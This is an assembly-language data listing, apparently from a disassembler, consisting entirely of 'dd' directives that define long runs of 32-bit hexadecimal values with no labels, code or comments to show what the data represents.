		dd 0B03FC17Eh, 23542212h, 0E5E70A17h, 62FE12C0h, 0D9200C54h
		dd 0C5E5DCh, 555CE1E2h,	8F43EA21h, 0A01FEC28h, 7B209276h
		dd 0C1B4823Ch, 0B447A091h, 1179EFD7h, 4052F094h, 0E5E3301Bh
		dd 0DE9C7112h, 92479439h, 0A2526720h, 6F3B008Ah, 8043A7C1h
		dd 69CF40FBh, 0ACF56A27h, 5067DC44h, 0A3430949h, 0C835458Ch
		dd 340049CEh, 0DDEF87C1h, 0C20DF88Ch, 0A773C9D8h, 89166C48h
		dd 0ADD1EB01h, 0A1523F6Ah, 23E24823h, 0A38F30h,	0D10172F7h
		dd 4CA46439h, 80D95724h, 52F9B08h, 46E08CDCh, 411A3CB0h
		dd 3A378800h, 5CDA0FFEh, 0F51E03EAh, 0B2ED11A4h, 2D725B98h
		dd 0ECB0C56Ah, 829FD711h, 623E25Ah, 6901C067h, 87855A7Ah
		dd 0FBF1CBD3h, 0AF9013DFh, 0C8142228h, 115A6F30h, 885E23E7h
		dd 7766804Ch, 3CD5705Ah, 517BBF00h, 0F79011F8h,	6B0A24A8h
		dd 0A4B42008h, 2164608h, 9C6CE5E6h, 100E31F6h, 1E5DFD8h
		dd 0F59957E2h, 64938040h, 0E40B4480h, 21C8F97h,	0A38DC50h
		dd 9467438h, 79A2D501h,	0A919F982h, 31D1D818h, 56007E18h
		dd 25FD5C38h, 608233F0h, 0A648213Dh, 1C006BCFh,	0F3E336C6h
		dd 267C85C4h, 1C148155h, 0D5C43FDBh, 49CF048Ch,	62DB4312h
		dd 0D70A2033h, 0C577CC49h, 65F4B002h, 44A0FA3Fh, 2754658h
		dd 93C68908h, 101D312Eh, 8911CCh, 29E51EDAh, 13EB4434h
		dd 0A0D2B426h, 0B03AD80Ah, 0E0601444h, 9C236EE5h, 0B11E6h
		dd 38E5D9DAh, 12456FA7h, 220F04E2h, 0E4301004h,	9C6A11E5h
		dd 58229C86h, 5C00B0DEh, 0CDBA5D3Ch, 3B0FEE1Fh,	72737712h
		dd 0DAEA4440h, 0E72A7174h, 48419C30h, 33106C12h, 542E9620h
		dd 6F005223h, 60837E07h, 681B0954h, 400158CFh, 22C4ED6Dh
		dd 1D523C0h, 23E05A70h,	80AC6376h, 9C5A786Bh, 38BF10A3h
		dd 0E3A86224h, 0B722002Ch, 18C42E04h, 54C3D8C7h, 0CF00F4E0h
		dd 184D82EBh, 31F15CB1h, 2A003918h, 3D4CFB4Eh, 60839579h
		dd 0A7342136h, 0EE01B991h, 96F56EA6h, 0B1F13557h, 0DC681482h
		dd 840F65Bh, 0A1C00940h, 1CACDDEAh, 0EB11C026h,	4380410Bh
		dd 18C0A759h, 0CBB12582h, 5C873068h, 10F60A18h,	4C7C1C48h
		dd 4E0F1024h, 94DDE507h, 38218B54h, 1032239Fh, 900E24E2h
		dd 4444A720h, 0D80D6108h, 22FFB820h, 0DE4668FDh, 0F49C002h
		dd 0A09CB343h, 49C80700h, 293EA254h, 6871015Dh,	88C30A6Bh
		dd 92F1833Fh, 7EF2E0DFh, 0B8777F60h, 15210994h,	4445F3F7h
		dd 8E600CE4h, 2200FC30h, 7CBBC20Eh, 9240889Bh, 0EC055CF4h
		dd 8C4CE8h, 0B08DD6D1h,	669E4210h, 80D79317h, 41A75A00h
		dd 0ADDEC5Ah, 0A67264D1h, 80D81194h, 430D49C2h,	36448CC3h
		dd 49CA0309h, 796E3D5Fh, 0F045D580h, 4877AA26h,	0C0890EC0h
		dd 223E4693h, 17CE0020h, 3DA8F489h, 98006A37h, 74A48E7Dh
		dd 259A94Ch, 0F2CEDC20h, 80C53C62h, 706057E4h, 7FF214F2h
		dd 3C301378h, 0E9FE790Fh, 58980292h, 0F0FB2E23h, 70584453h
		dd 0BF430952h, 64001C3Ch, 344B9F26h, 33972280h,	0C2181304h
		dd 9E2D7B3h, 74B4BC88h,	0D003246h, 0D1FAFF85h, 9F2490BEh
		dd 4C8F4456h, 7A93041Bh, 0AAA058D2h, 171F4580h,	72461CBh
		dd 92306408h, 0C6CB4F97h, 61C382A0h, 0B910C500h, 0C17A9C2Eh
		dd 4BBF5CA0h, 0F3505332h, 0C500E8B7h, 6ABBD2A1h, 0BA870145h
		dd 0B8DE112Ch, 0D043406h, 0DC795CB3h, 6207A6F0h, 9716D1EFh
		dd 0B002788Bh, 90080A4Ch, 9F1FC30Bh, 80521174h,	1428BF46h
		dd 4B18004Ch, 98FABC4Eh, 28F393E1h, 8C32BC48h, 4257EC01h
		dd 0E5432C08h, 0A2857881h, 883B2231h, 4C43FB0h,	0D114BCDCh
		dd 0F5A6248Ch, 3022002Dh, 0B0441A16h, 8474040h,	0EA604E44h
		dd 0DF02AE6Ch, 0AD0DD80h, 30594179h, 3D8C80E7h,	5DB4FCBFh
		dd 0AC4EB4B0h, 40A07F7Bh, 0E24391B9h, 10ACB44Dh, 0CF0151F6h
		dd 6C641863h, 3821A699h, 113836A9h, 890C8079h, 8C0E93C2h
		dd 15C810EDh, 91A1D89h,	0B36E094Fh, 4B3A5801h, 77B42D82h
		dd 92E15400h, 1C4838E3h, 3079038Ah, 0A783C11h, 6C1E7FF8h
		dd 15E08213h, 0EF00C85Dh, 0ADAF2F5Fh, 9124003Ch, 95A1D5A3h
		dd 0E814D3E6h, 2F8786Fh, 30D6120Dh, 0C504C3F7h,	0C0188C27h
		dd 23E15A71h, 0E0546E4Ch, 55A7964h, 926510ACh, 88C01052h
		dd 0CEC745Ch, 0DFFF008Ch, 582FC710h, 1812EF91h,	0BC3268F8h
		dd 890F3074h, 3693C111h
		dd 0CF801F88h, 0B3458910h, 3A849067h, 130CFC0Dh, 9EC1596Dh
		dd 1C00867Fh, 85C10937h, 5FA8DABh, 690C2EAEh, 0C4D21115h
		dd 4344112h, 0B61B0810h, 0B831E0B4h, 0E77E1DBDh, 88BC0215h
		dd 1C475513h, 0B36020C4h, 0BFC012Ch, 115E8800h,	31AA65A4h
		dd 918001Bh, 4F60554Bh,	90160EEDh, 0F82124F7h, 2C33209Ch
		dd 0DD304EA2h, 409701BEh, 8765D9C9h, 3648C8FCh,	62022109h
		dd 1D6CABA8h, 81021120h, 4D8ACAEh, 5323BFCh, 0F7684320h
		dd 72900245h, 2471CB5Fh, 47184CD9h, 0FABB8200h,	0C7CD4A4Dh
		dd 0EC225215h, 0EACA9700h, 0A9A3D11h, 59E3B0A8h, 0C049424Bh
		dd 3278C83Fh, 4BA35CE4h, 54946900h, 5C97154Bh, 3C302003h
		dd 140BE17Dh, 0ECAB9BB8h, 0DFB80892h, 849C1C0h,	80AB4343h
		dd 0EA49C904h, 4ED801A3h, 392646Fh, 0E84C383Ch,	90588C0Bh
		dd 2983139Ch, 261CE491h, 0D8F05006h, 0E80808D4h, 120C8C56h
		dd 7110E0C9h, 0FA100F0h, 62BBEDADh, 6E01B453h, 55A1C2Fh
		dd 207484D7h, 0D1109189h, 381803h, 77DD6D67h, 5D9CB89Eh
		dd 0AB8D1618h, 9841B291h, 61EA2718h, 36115017h,	5CCF658Bh
		dd 44584847h, 20426B0Bh, 939AA411h, 51A96C02h, 5CDA83h
		dd 95DF1D72h, 6DE22438h, 8C159600h, 8F908BDDh, 0B03D68DBh
		dd 9502DEE8h, 0BF80BEC8h, 0C8EA5Dh, 8760A10h, 0ECFAE02Fh
		dd 0AF353986h, 8BA28080h, 0DF9BC1FBh, 7D7EB11Fh, 0C4C05016h
		dd 0C1B9AC2h, 0AA8A1675h, 713E0C49h, 0F86848D7h, 9A008C0Dh
		dd 5BC73C32h, 74A233B8h, 482E4247h, 8C56E810h, 79556409h
		dd 188F859Ch, 3D08A000h, 80A90C92h, 3424CF90h, 0BF016001h
		dd 0E4665198h, 22B2DC33h, 693630h, 0F584B05h, 2BBC47AAh
		dd 4A9AC0C4h, 35A2B0A3h, 1CAE8930h, 821A95BEh, 26A6938Bh
		dd 0B79ACD9h, 38D64E18h, 5723D03Ah, 0B5441938h,	58228240h
		dd 0E5EC3300h, 1534A6Bh, 7BD8F107h, 2650DC20h, 992C7F9Fh
		dd 20E8124Ch, 0AF2A9784h, 0AC183867h, 268EF0DAh, 7C91005Bh
		dd 4A8F2411h, 9F981D6Ch, 71699814h, 32782560h, 0D813F728h
		dd 0CA3CBA3Ah, 0A800C452h, 0C76223B9h, 193D1EDAh, 0A2450278h
		dd 4C49C202h, 6D7C48CEh, 23E55A08h, 4050C44Eh, 655A7560h
		dd 30D10EFFh, 1D6CEF93h, 0C7096A78h, 0C240D791h, 4BE440E4h
		dd 8823090Bh, 3CE05A3Fh, 3C2FB4A9h, 4FFC221Eh, 0B9820119h
		dd 0E20310h, 8BC0CAD9h,	6CDBF4BFh, 1FE3A718h, 758AB19h
		dd 0F0E9754Fh, 0F0C01B39h, 961D24C0h, 6F97AC27h, 0AB60A005h
		dd 31D550E0h, 0B8F86A0Ah, 9991D061h, 509D6816h,	291B6002h
		dd 84B703h, 0E38AAA54h,	1450A9EEh, 9337BB5Ch, 6DC92947h
		dd 21B5C040h, 0F324ABFAh, 284058E0h, 137E57Fh, 71877ADBh
		dd 0ECB9FBF5h, 1BB0919Ah, 25DA1D00h, 139F9CD1h,	0A8ACA031h
		dd 29FC2844h, 47FA08B8h, 30A3A5Fh, 930184CDh, 527768CAh
		dd 1FEC2038h, 87A60F8Ch, 4C73D21h, 2C5802Bh, 78902A2Dh
		dd 3133CF20h, 3DE1D582h, 8343391h, 1909ECEFh, 0F264119Ah
		dd 93B7E400h, 214460CFh, 0EE39B4E6h, 2EC545Dh, 2415C40Eh
		dd 662C8080h, 4F945902h, 0B1C4205Fh, 451D64BEh,	30814CD5h
		dd 0EF1BE3EAh, 62E9F0h,	0FBFCD2DCh, 2A48E131h, 1F40B401h
		dd 4B9B91E8h, 0A48396E0h, 6568A0DCh, 8442FDDh, 72C70C81h
		dd 3F698B54h, 58150011h, 1D4EF89Eh, 81A0D1CFh, 0EC157632h
		dd 0E0CA30CEh, 0A468B200h, 7E82284Dh, 8A24061Dh, 495D721Eh
		dd 8851E300h, 0D7FD1847h, 0BFAE0222h, 0CBEA89E6h, 1FAF9840h
		dd 2EFA6C80h, 41FC8816h, 251B4058h, 0F8744014h,	0C6593C21h
		dd 0DE3A0544h, 0A4031F54h, 0BA79A464h, 0EB94E0C0h, 410780C7h
		dd 8B892107h, 494416C8h, 9010D4E2h, 0AF9A141Ch,	40097518h
		dd 1571F88h, 0CB29141Ch, 3CD79451h, 96022C29h, 6F54E1F7h
		dd 0D16EF467h, 54D59080h, 7007D8Bh, 4351C9F8h, 91455368h
		dd 3A4B0058h, 0EF5797Bh, 90D70413h, 9F3D4844h, 0E0DF3488h
		dd 47DC078Dh, 0C95D930Dh, 0B3D0C453h, 0E9B90A97h, 129896E4h
		dd 80549BCFh, 3B7B665Fh, 6D216E7h, 23402F3Ch, 0D5A00053h
		dd 95E0338Ch, 31283402h, 648040E9h, 9B300CB8h, 0A67917E3h
		dd 5C022E03h, 0D070B316h, 0EAC61BF6h, 493700BEh, 75B7C2E7h
		dd 88C05488h, 0A6739AFAh, 8B2B4B57h, 0EE3DDFCh,	4100E92Ah
		dd 8CE0B2Fh, 3FCC40E3h,	18BC0A9Fh, 0C4676h, 29CC1950h
		dd 2ECD69Ah, 9F92CEDDh,	4C423E83h, 4D79E859h, 0F83ED019h
		dd 0CF325800h, 826F42DCh, 449238h, 45473F8Ah, 18DAE8A8h
		dd 0DE684600h, 0FF528D53h, 0B9030002h, 0C6F87E41h, 1EFEDF91h
		dd 927AE8C0h, 3433DD48h, 0C4084A1Ah, 3AC81E88h,	0B2CF1065h
		dd 0C068F7C0h, 7CDD945Fh, 9A309C07h, 58B1AA5Ch,	94541948h
		dd 32AB1481h, 0AC1C8105h, 14270017h, 205A4525h,	0DE147D04h
		dd 5FC86FD4h, 2023503Bh, 31F67507h, 0E96AD0E0h,	15C70CC3h
		dd 3D69C926h, 786E38h, 0BE40F92h, 48C890BFh, 7A8AE01Eh
		dd 0CF504C38h, 16669325h, 1AC50028h, 0B073FD89h, 0DE7C6359h
		dd 4B62E813h, 3A171F01h, 5C6C8CD6h, 0DF604906h,	9090684Dh
		dd 691A4634h, 8FE0C8A6h, 0E100B529h, 0B3F917FFh, 4A479C15h
		dd 74A0020Bh, 4D87C8Fh,	17209A7Ch, 3DAA0931h, 48206B9Bh
		dd 0CE8F792h, 80850ACh,	838F4458h, 263B4792h, 9C994079h
		dd 7C1834D1h, 0F0FEC62Ch, 6397651Ch, 52C8C88Bh,	70FD65C0h
		dd 0FC6205E0h, 0CE0E444Bh, 0C0578894h, 0FC6748D4h, 1AD74718h
		dd 584A58D8h, 8B805818h, 1071FBE5h, 9B3AE20Bh, 455C2923h
		dd 6021E438h, 11ACB96h,	93795A50h, 6273E8A2h, 845B00D4h
		dd 40AEC907h, 0CA8C0E2h, 899FA97Fh, 0B90294FEh,	4F8F926Ah
		dd 13271126h, 21C3E1EAh, 0E3D9188Ah, 16053860h,	0F0D8E9EBh
		dd 0DA18C6D0h, 0C39C483h, 72920095h, 0CF9197BBh, 2CBE1B8Ch
		dd 60E4084h, 340191C0h,	846E00E1h, 2DBDD57Bh, 7230F43Dh
		dd 0EC7B9A2h, 0AC47CE2h, 0E99D9951h, 0A14A03BAh, 2BE8CD6Dh
		dd 731CFBC6h, 440011E7h, 0F15B4F90h, 0ECB412A9h, 4DCA012h
		dd 99C58330h, 0FF428DCh, 93B00745h, 6F62AF42h, 4674C054h
		dd 29150537h, 0BCC88F16h, 0D0AF18AAh, 0A93C7814h, 0F830AB4Ch
		dd 1C0E8C1Fh, 0D5E095B0h, 0DF037FB8h, 0CFE8F36Bh, 6D899899h
		dd 0AB40173Bh, 88D001F1h, 2EC48741h, 0E23682Fh,	1680401Dh
		dd 5F60BE8Dh, 20A2954Eh, 8502FDDCh, 3C74FA27h, 0B2032BEFh
		dd 8C94DDE4h, 0BC167900h, 398BEB3h, 0E540C3AAh,	93E8F1DCh
		dd 602D41A0h, 90848083h, 9DFB2F27h, 30919C1Dh, 0B867E68Fh
		dd 8EA007B3h, 0B4AFA5C1h, 0EBC4416h, 0FA6160ACh, 20377FA7h
		dd 8D2E195Ch, 200B6374h, 239A029Ch, 12945A68h, 41B4F704h
		dd 97167A04h, 81E85251h, 6C7788C4h, 843ED800h, 666065BDh
		dd 7DA80001h, 8AC1E81Dh, 0E100C2ACh, 869E1202h,	16278A7h
		dd 0FBF87C52h, 0D0162BE5h, 691C264Dh, 9100DC18h, 0BF097FA0h
		dd 0EDA71F98h, 0DDD801E4h, 3D17F8ACh, 781A0FACh, 0B48893D7h
		dd 0A25C03B9h, 158C3828h, 0D2BDC3F8h, 189C0D48h, 0E00814DAh
		dd 0CF700812h, 603E7A15h, 73A1648h, 202D6541h, 88E0CEBAh
		dd 0D473C00Ch, 2D24C9ABh, 2C08EC9Bh, 2241011Ch,	2810D705h
		dd 882F5AB8h, 6F128C76h, 0EA006177h, 0FED108F1h, 30434C41h
		dd 0CC4CD17h, 8561D4A8h, 0D3249858h, 0AC3AE453h, 0B20B1E23h
		dd 80188138h, 7F088741h
		dd 5E6C5C8Ah, 9E003246h, 0AF15C584h, 3813364Bh,	8C8F0B82h
		dd 0FCC02F88h, 8F7A6Bh,	43DEDA30h, 3AD70B28h, 273B5D01h
		dd 64CB5BC9h, 261A6E60h, 1D3C1BDBh, 0A5A41ED3h,	713E6820h
		dd 0F7007A70h, 0BBCA5A0Eh, 8BAA1Bh, 6791A3Fh, 66A90B14h
		dd 110008E8h, 360E3C49h, 662132E5h, 21412919h, 22111880h
		dd 0F2B949DFh, 80E3243Bh, 27DE81FEh, 148EA90h, 95879C4Eh
		dd 3B2015E1h, 64E31849h, 7F9B000Ch, 0A04D8CF0h,	0D60109D7h
		dd 5114A780h, 78DCADECh, 308E5DFCh, 983DA480h, 0DF88A6A9h
		dd 52094210h, 108059A8h, 923F0E97h, 5460ABA5h, 0F8AA94A8h
		dd 8D160F9h, 2200D718h,	889A818Bh, 0E8CD33B0h, 0F0505D37h
		dd 231C2E4Ah, 44360721h, 116F8150h, 93DB20B7h, 174984E6h
		dd 638009B0h, 0F7A0A259h, 0E45CC7B8h, 82AD6036h, 5A0A7819h
		dd 0C4709BCBh, 58C140ACh, 81040AB8h, 103C8354h,	0FA4CD537h
		dd 3AB973DDh, 428B2001h, 64822857h, 745E2676h, 3B188C40h
		dd 0AD897869h, 600D64CCh, 0F09EBD7Ch, 2AD13857h, 0EA368180h
		dd 6292C8AAh, 54200CB8h, 90160831h, 2216CAA0h, 9202FCA2h
		dd 388EDBBFh, 7C33DCD8h, 8A8F190Eh, 7660D63Bh, 0AA025646h
		dd 4E994357h, 958AF4E8h, 0A828693Ch, 8B22F066h,	0D2D74CA0h
		dd 0D2FC40h, 0F8751A4h,	88242268h, 582F1B5Ah, 6A131923h
		dd 9CD3A401h, 0D0334ADAh, 383031A2h, 3CA0A47h, 980AB5Dh
		dd 0AC087115h, 48C2090h, 54C244DEh, 0BC0CB987h,	7C50216h
		dd 73793048h, 0E689D090h, 4602AFE6h, 0F28C9CE4h, 76787CCBh
		dd 41385146h, 0A54AC60Bh, 0D8D0AC1Bh, 0F5732B4Fh, 0DC7C6E00h
		dd 0D52924AFh, 3CE103E8h, 0A48516CAh, 61F44919h, 58115E10h
		dd 44439BDh, 244B4792h,	2B4B34CEh, 8C70FCh, 6AB276Bh, 971AC1D0h
		dd 937A6372h, 4878BF4Dh, 5673103Ch, 28C1DF8h, 30B73479h
		dd 0C8D2736Ch, 0DCF2E100h, 0FF689C21h, 0AEA91D20h, 751AC0D1h
		dd 6AAC91B9h, 8CDB895Bh, 6F1AE980h, 0A098B9E8h,	0C01EAB2Eh
		dd 683FAC13h, 32013323h, 7288EF09h, 57A7B49Ch, 6438D236h
		dd 417CD029h, 881C4E1Fh, 907AC04Ch, 530050C3h, 0D8853BA4h
		dd 16B29AE9h, 46D51E3h,	0CA2350h, 0C19B3DA9h, 0F14CB9AAh
		dd 1D1823h, 3118AD6Fh, 0B97BCBDFh, 9AA94112h, 92646081h
		dd 90E80AC9h, 44A34A7Fh, 870E9BACh, 0BF26210Ch,	6E6431CFh
		dd 2C04B86Fh, 5074B722h, 0C65710A0h, 3027F015h,	0C8B4CA92h
		dd 3625C04Eh, 100777B6h, 319B166Fh, 0C3D4624Bh,	0AF49A00Fh
		dd 0D61B266Ah, 10CC08DCh, 8D701C28h, 0EF880609h, 0D02462FCh
		dd 61396BE0h, 9EC06CEDh, 2F9C5137h, 1880538Fh, 25E844DCh
		dd 0AC3A8B4Bh, 0F000823h, 0BEF3454Dh, 0E725124Eh, 0C0549BCBh
		dd 8529105Ch, 4A4D7AC1h, 0E37C85D3h, 0D89A5AB8h, 68207E8Eh
		dd 3C5A1136h, 0CAB5F704h, 232FF026h, 0D1B20021h, 0BFF2F8EAh
		dd 81D8FB00h, 92F1F015h, 9A3C4B4Bh, 4C0FC154h, 50DC5E4Bh
		dd 96133F9Bh, 0F811BB1Ah, 37E4CCE5h, 3056B961h,	0C7409B10h
		dd 0E47B4CD9h, 1416A222h, 0CD1933Dh, 6E2FDAE4h,	0E0DD1734h
		dd 7190A4h, 0A34856BBh,	0B55F1086h, 3D8FCB01h, 61F68BD7h
		dd 68B70823h, 0DA1839C0h, 31D9006Fh, 5E1304C9h,	68244723h
		dd 0E04A5821h, 2B3C08h,	76248F90h, 235C0F39h, 0A7471204h
		dd 8AC28887h, 8044B518h, 5C8C3FD6h, 0FA0F7778h,	84BCD77Ch
		dd 50B82D41h, 738FF40Bh, 35F30D0h, 0F88588Eh, 0D5E7BC0h
		dd 16A012EAh, 9E34F58Fh, 0EF6528E0h, 0E33BC20Ch, 0C67B2A40h
		dd 0F768BE09h, 8DC587Eh, 0DA08F7Dh, 9F646625h, 0C6BB2C17h
		dd 41780D02h, 1458A360h, 20EE381Eh, 0A1CF7CF7h,	804BDF97h
		dd 231C3B2Ah, 0A39E0237h, 0ACF95B26h, 34185279h, 56D6D200h
		dd 80C16235h, 5C09BF6Bh, 2E8CB409h, 1618CBA8h, 7A39118Eh
		dd 3BCC2A97h, 0B80858C0h, 30EB810h, 0F1DDECD7h,	0F445C29Ch
		dd 34465E64h, 2D77EA0Fh, 9AE0D707h, 0EB608994h,	0E54EBCD8h
		dd 397A9888h, 9EBC33ACh, 1BD3D92h, 0AF45927Ch, 0C4802584h
		dd 92FD8673h, 0DCA48130h, 77A41C6Fh, 28CA4DEh, 0F0419558h
		dd 465C407Eh, 45CC0020h, 2C508D5Dh, 237F12B8h, 0FCCE197h
		dd 0C03188E8h, 3EB6549Ah, 907F6000h, 3FF02329h,	0BA79C318h
		dd 0D6B080B3h, 0AF03B761h, 0DF7FBBF5h, 31E9B890h, 82354F8Ah
		dd 0EC41092Ch, 6F9D1019h, 701E008Bh, 5A79B458h,	3C039AD2h
		dd 10E6EA0Bh, 6687E0BDh, 0A6DC0096h, 0C623E5C5h, 1099F0FBh
		dd 28181979h, 0F8E304B0h, 0CFEC090h, 1CCCE94Bh,	1A8B48C7h
		dd 4255BE01h, 0C0E4CE6Ah, 0C201544Bh, 0EEC468BCh, 30AF2723h
		dd 0F91A09Dh, 78643D80h, 0D5099E8Eh, 24FCD793h,	0C8BC6D68h
		dd 1A14C420h, 734C16E3h, 37542700h, 0E44DF3CDh,	110F4BBh
		dd 6D3E684Ah, 3E438F26h, 0B0A2B817h, 99D60073h,	64C92DAAh
		dd 4D0FB5BCh, 0CE15EDFEh, 4D614BF0h, 4AA06028h,	3D48B502h
		dd 527F1080h, 38CF9009h, 68CD8C22h, 0C4E7AAC3h,	47F4B0EFh
		dd 0A874A09Dh, 0BC2280B4h, 0AA38084Ch, 0C703B510h, 1EE213DCh
		dd 0D021F901h, 0F23D9A76h, 0C46CD0h, 0A45B80E1h, 70867C59h
		dd 58850E02h, 0DC3B47FAh, 6B6D01D4h, 25A78816h,	5F94FCACh
		dd 0ED0E0098h, 12265A4h, 0C5F31CB9h, 5C4E4B10h,	5A6438h
		dd 6265EB90h, 68B2419h,	0BF220E3Fh, 0B902B1A4h,	6040847Dh
		dd 322CF037h, 8A70E130h, 8F06E071h, 20E12644h, 2500A914h
		dd 0CC06550Ah, 67D058h,	8357E7FCh, 926B2AE8h, 2FD25B48h
		dd 0D9D829BCh, 0B0489604h, 985B4198h, 59DB34D0h, 94195446h
		dd 394903A4h, 0DF6F211h, 0DC9867B3h, 1E4E68ACh,	49AAF4D2h
		dd 82F6DC0h, 5C83515Ch,	428B08Fh, 73479228h, 67249234h
		dd 1308F428h, 0BCDF845Ch, 66640004h, 1D469E92h,	9580B44h
		dd 0C4540AD2h, 0A2322AC1h, 0D1F0FCh, 92634DDCh,	4B977846h
		dd 0B90A50D3h, 5D04FCEDh, 74BC44B7h, 0D073C112h, 2D101F00h
		dd 18D6DE03h, 0D85862D4h, 0E2B8541h, 36E73183h,	23EBC13Fh
		dd 8420F0B7h, 2813A7C9h, 0BF80CB48h, 0E48CEC68h, 5E34B418h
		dd 0D5072246h, 98FFBCCh, 0A704DCD8h, 9B3AD259h,	0E4CEA8E8h
		dd 88CD0510h, 0B8AC5C43h, 18C1FECh, 64361638h, 0FC0D69A4h
		dd 5F659D6Ch, 0F0F97220h, 9C1E3507h, 4C360091h,	14001988h
		dd 20AE6B9Ah, 0C47CFF60h, 0B83C0180h, 8C4CB8CCh, 0CF8B7F01h
		dd 28A018EBh, 0E930ECh,	0BE7DA465h, 3C58F26Ch, 8090B5B5h
		dd 0EF12C550h, 4403A08Ch, 6B858BEBh, 3D38C8B0h,	0FF651C66h
		dd 5BD316h, 83895750h, 7E4FA8C7h, 53C8988Bh, 1A8D85C0h
		dd 471D1378h, 23DC3ABBh, 0FD38000Dh, 6BB30393h,	4111F201h
		dd 425FE12Ch, 21169422h, 63988991h, 3033A234h, 0F17E366h
		dd 1B0257F1h, 40356747h, 98BEAD64h, 8EA14B4Fh, 0C320C8DCh
		dd 3098E964h, 9326DA07h, 0EB08CCA4h, 4119013Eh,	61529165h
		dd 7408BC17h, 1929C0ABh, 9D19C72h, 76026118h, 988FABF1h
		dd 7634641Fh, 909C972Fh, 56AC299Fh, 3100DC64h, 0DDB0F4CDh
		dd 801960ACh, 84A90A6Fh, 0E5603001h, 1384D63Eh,	0DC209116h
		dd 43AED2Ah, 260496EFh,	0E05CA66Bh, 0F03042EBh,	3D1800A1h
		dd 8F25636Eh, 70A821C8h, 9E841BD0h, 34465630h, 0C0F60100h
		dd 274EF89h, 1ABC8494h,	0DC28C7BCh, 7C00DCB4h, 0F7CCD158h
		dd 39204B7Dh, 17735341h, 0DC61858Ah, 87459978h,	0BC7D7821h
		dd 0E4456A25h
		dd 4F9D11EEh, 0C0DD7512h, 0F9188386h, 0A360721Ch, 386CF2A1h
		dd 0AE1E1FEFh, 642EC94Dh, 9C9EA878h, 53465Ch, 0ADD82983h
		dd 0CB2A977h, 2E8B9FFCh, 0ED00DCD8h, 4BA66BA7h,	465053Eh
		dd 0CF91A9AEh, 0C070F018h, 25155C04h, 3BAE245Bh, 5362388h
		dd 9C913ADFh, 0C9801D18h, 43BF2580h, 88F24CCEh,	18A93F30h
		dd 40A32638h, 6CCCBFDh,	0F832185Fh, 0BAFA40D3h,	98AC6602h
		dd 5ED50E17h, 0C25F4F84h, 97B019BCh, 0E67098DBh, 0CC932013h
		dd 1D87E513h, 7AE24409h, 33BD3DC4h, 8A5BEA00h, 0F2C619B9h
		dd 2B264B05h, 0C8F58258h, 0D2FA60h, 40E586ADh, 0CE852A76h
		dd 16BB3002h, 5DCA5B97h, 9BF19CB0h, 5EEFEA01h, 826BDDC1h
		dd 9DBD8h, 450EA46Dh, 7E3046ECh, 0C7144D95h, 1FDE184h
		dd 0C8422107h, 923FFE93h, 10E0D8E7h, 0E692A2C3h, 15B7A09Ch
		dd 608E09CDh, 685C9503h, 0D954092Dh, 1851D194h,	0FDF40169h
		dd 2F838B18h, 0E7943325h, 0C961C068h, 0AB0008C7h, 0E8157C6Eh
		dd 1264663Ah, 0EC34B77Bh, 0B1D78C6Ch, 78AC18DCh, 0A5E1815h
		dd 48744CA2h, 151465Eh,	947CC432h, 582D836Fh, 0DC12B500h
		dd 0EFC53E86h, 0B24CA50Eh, 46A7002Bh, 0BCB0F791h, 5CE16CCh
		dd 0B4376320h, 0A252C8Ch, 0E0D44D8Bh, 2321A55Ch, 5EC0439h
		dd 0DB60C915h, 2848ACA8h, 912CC409h, 952714D3h,	803791C4h
		dd 0CC9C3426h, 786CB3A6h, 1607D29Ch, 528AD0C6h,	0D76F31F0h
		dd 90215F15h, 9C8C952Ch, 0A8DA3C5Fh, 0CD083DC2h, 53B1EC40h
		dd 0C020D74Ah, 0B64B7Eh, 43B87C8Ah, 2E6F65D1h, 1401827Bh
		dd 1B495B53h, 243A055Dh, 0EC6EBB5Ch, 9CE6A801h,	3ABF9Fh
		dd 524B07h, 9B63C690h, 92DA4725h, 0B4003BE1h, 16D38681h
		dd 70824CE5h, 0F4216C80h, 44F81D90h, 3C6AB408h,	4EC1801Ah
		dd 0E3E57451h, 7059DF03h, 0B89B5878h, 7B2BFE8Ah, 95444AEBh
		dd 90D41690h, 88D07CCh,	64193000h, 40886A62h, 0B429581Bh
		dd 0E8C53E8h, 5633D474h, 0E229D104h, 47540010h,	0FE34A607h
		dd 36E40776h, 1B5651E5h, 3B60C482h, 4138476h, 35A26CA6h
		dd 6ED9F033h, 68AE25E3h, 5A7044FBh, 0AC590701h,	0F055251Dh
		dd 0E971A465h, 97FC621Ch, 2E805865h, 487C44E0h,	39620030h
		dd 45B39568h, 2A4B2709h, 4478D111h, 242E357Dh, 0E2003023h
		dd 0AE35DA8Ch, 3BAD0540h, 882420DEh, 4D40F3B0h,	0CA712E72h
		dd 55467C98h, 521AD31Ch, 6300013h, 0E3EA0A14h, 65351709h
		dd 1DCC873Bh, 0D3DDEE4Fh, 0E90144A2h, 14C67ADAh, 243BC405h
		dd 9824A3Ah, 75BCEF7h, 0C942E9E4h, 6785ACFh, 0D72EBD6Dh
		dd 0FF34284Bh, 180620EEh, 3A4932CFh, 8C4EA535h,	412EAAB0h
		dd 0A4096067h, 0D970F1F6h, 1891833h, 10A79F1Ch,	0D545B9FEh
		dd 80283A15h, 72A0A90Eh, 0A100E062h, 89605AF9h,	103CCFD5h
		dd 12945017h, 186B1109h, 4290D120h, 9D5F0944h, 80039188h
		dd 73B2DB3Fh, 52280BD2h, 1402E73Eh, 805C35B7h, 4054ED5Ah
		dd 0E7189069h, 6DB2B03h, 0E11B1123h, 0A900C083h, 4E0035F3h
		dd 0B5DC193Ah, 0F8C2CBDAh, 0E1C25D7h, 31D964F9h, 0B500E818h
		dd 6D915DC9h, 4EDDCBB2h, 4E0C8DD3h, 0C1578860h,	414EF4E4h
		dd 3DF390h, 0DF129h, 27CBA04Ch,	998DA90Ah, 30F0980Bh, 1AC5089h
		dd 4114DAD7h, 0C57A1546h, 8724D1D5h, 0F43DA959h, 363739E0h
		dd 720C07D7h, 0A2D0E2CDh, 0AC5C052Ch, 0FEAC5049h, 8E241FCEh
		dd 0CA9EDABh, 237F887Ah, 120C0284h, 0BC5CAA3Dh,	66032CD1h
		dd 0C06524ECh, 0FE437AC1h, 8C6D560Eh, 903056E2h, 98411610h
		dd 0AE60C467h, 1E23002Fh, 22386101h, 457EE8AFh,	0A0E68CB4h
		dd 85272944h, 0A8149B23h, 91A6489Ah, 60B4D310h,	1CA7971h
		dd 78922CB5h, 0CD1B4A90h, 0C4022ECBh, 5A68DE3Ah, 2AD72724h
		dd 6D978C4Eh, 664943BCh, 69648180h, 92209318h, 2F604391h
		dd 8274E7Fh, 0CE3DB85Ch, 1D88ECCEh, 938F53C3h, 2089AC9Ch
